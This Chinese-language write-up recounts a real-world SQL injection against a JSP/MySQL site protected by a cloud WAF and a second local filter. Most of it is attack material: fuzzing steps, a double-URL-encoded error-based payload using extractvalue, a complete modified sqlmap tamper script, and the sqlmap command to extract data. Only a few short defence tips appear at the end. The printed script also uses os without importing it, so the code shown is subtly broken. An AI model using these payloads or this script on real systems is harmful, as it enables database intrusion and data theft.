实战绕过双重waf结合sqlmap tamper获取数据
字数 1323 2025-08-20 18:16:58
实战绕过双重WAF结合SQLMap Tamper获取数据
前言
本文记录了一次针对双重WAF防护的SQL注入绕过实战经验。目标系统采用JSP环境,后端数据库为MySQL,存在两层WAF防护:第一层是云WAF,第二层可能是本地安全狗或代码层面的防护。通过多次fuzz测试,最终成功找到突破口,并利用SQLMap的tamper脚本实现数据获取。
双重WAF分析
第一层:云WAF
- 使用简单的
'and '1'='1可以触发WAF拦截 - 绕过方法:使用
&&替换and并进行URL编码- 示例:
%26%26代替and - 原因:云WAF可能没有对特殊字符组合进行充分检测
- 示例:
第二层:本地防护
- 检测
=符号:使用like替换= - 示例:
||代替or,like代替=
Fuzz测试过程
第一次Fuzz尝试
目标:寻找会被替换为空的字符
方法:
- 构造payload:
123%XX321(XX从00到FF) - 在返回结果中寻找
123321,表示中间的字符被替换为空 - 结果:未找到符合条件的字符
第二次Fuzz尝试
方法:双重URL编码测试
- 构造payload:
123%25XX321 - 发现
%2527被替换为空(%27即单引号') - 原理:服务器自动URL解码一次,将
%27替换为空
成功payload:
123%2527321 → 123321
绕过技术实现
报错注入测试
利用发现的绕过方法构造报错注入:
'||extractvalue(1,concat(0x7e,version()))||'
双重URL编码后:
%2527||extractvalue(1,concat(0x7e,version()))||%2527
SQLMap Tamper定制
目标:自动化利用发现的绕过方法
修改percentage.py tamper脚本:
- 原始功能:在每个字符前加
% - 修改为:在每个字符前加
%2527 - 关键修改点:
retVal += '%%2527%s' % payload[i]
- 额外处理:将
=替换为like
retVal = re.sub(r"\s*=\s*", " LIKE ", retVal)
完整tamper脚本:
#!/usr/bin/env python
"""
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
from lib.core.enums import PRIORITY
from lib.core.common import singleTimeWarnMessage
import re
__priority__ = PRIORITY.LOW
def dependencies():
singleTimeWarnMessage("tamper script '%s' is unlikely to work against non-MySQL targets" % os.path.basename(__file__).split(".")[0])
def tamper(payload, **kwargs):
"""
Adds a percentage sign ('%2527') in front of each character
Requirement:
* MySQL
Tested against:
* MySQL 5.0
Notes:
* Useful to bypass weak web application firewalls when the
backend DBMS is MySQL
"""
retVal = ""
if payload:
for i in range(len(payload)):
retVal += '%%2527%s' % payload[i]
retVal = re.sub(r"\s*=\s*", " LIKE ", retVal)
return retVal
SQLMap使用命令
python2 sqlmap.py -r "request.txt" --dbms=mysql --technique=E --tamper mypercentage
参数说明:
-r:从文件加载HTTP请求--dbms=mysql:指定MySQL数据库--technique=E:使用报错注入技术--tamper mypercentage:使用自定义的tamper脚本
关键知识点总结
-
双重WAF绕过思路:
- 分层分析,逐层突破
- 第一层云WAF:特殊字符组合绕过
- 第二层本地防护:关键字替换
-
Fuzz测试技巧:
- 使用Burp Suite Intruder进行系统化测试
- 设置响应结果匹配标志(如123321)
- 测试范围:从00到FF的所有字符
-
双重URL编码绕过:
%2527→ 服务器解码为%27→ 被替换为空- 有效隐藏了单引号等敏感字符
-
SQLMap Tamper定制:
- 理解tamper脚本工作原理
- 根据实际绕过需求修改字符处理逻辑
- 结合关键字替换增强绕过能力
-
报错注入利用:
- 利用MySQL的
extractvalue等函数 - 结合绕过方法构造有效payload
- 利用MySQL的
防御建议
- 对WAF规则进行严格测试,确保能检测各种编码变体
- 实现多层防御机制,包括输入验证、参数化查询等
- 监控和记录异常请求模式
- 定期更新WAF规则以应对新型攻击手法
通过这种系统化的测试和绕过方法,即使面对复杂的WAF防护,也能找到有效的注入突破口。关键在于耐心测试和对各种绕过技术的灵活组合应用。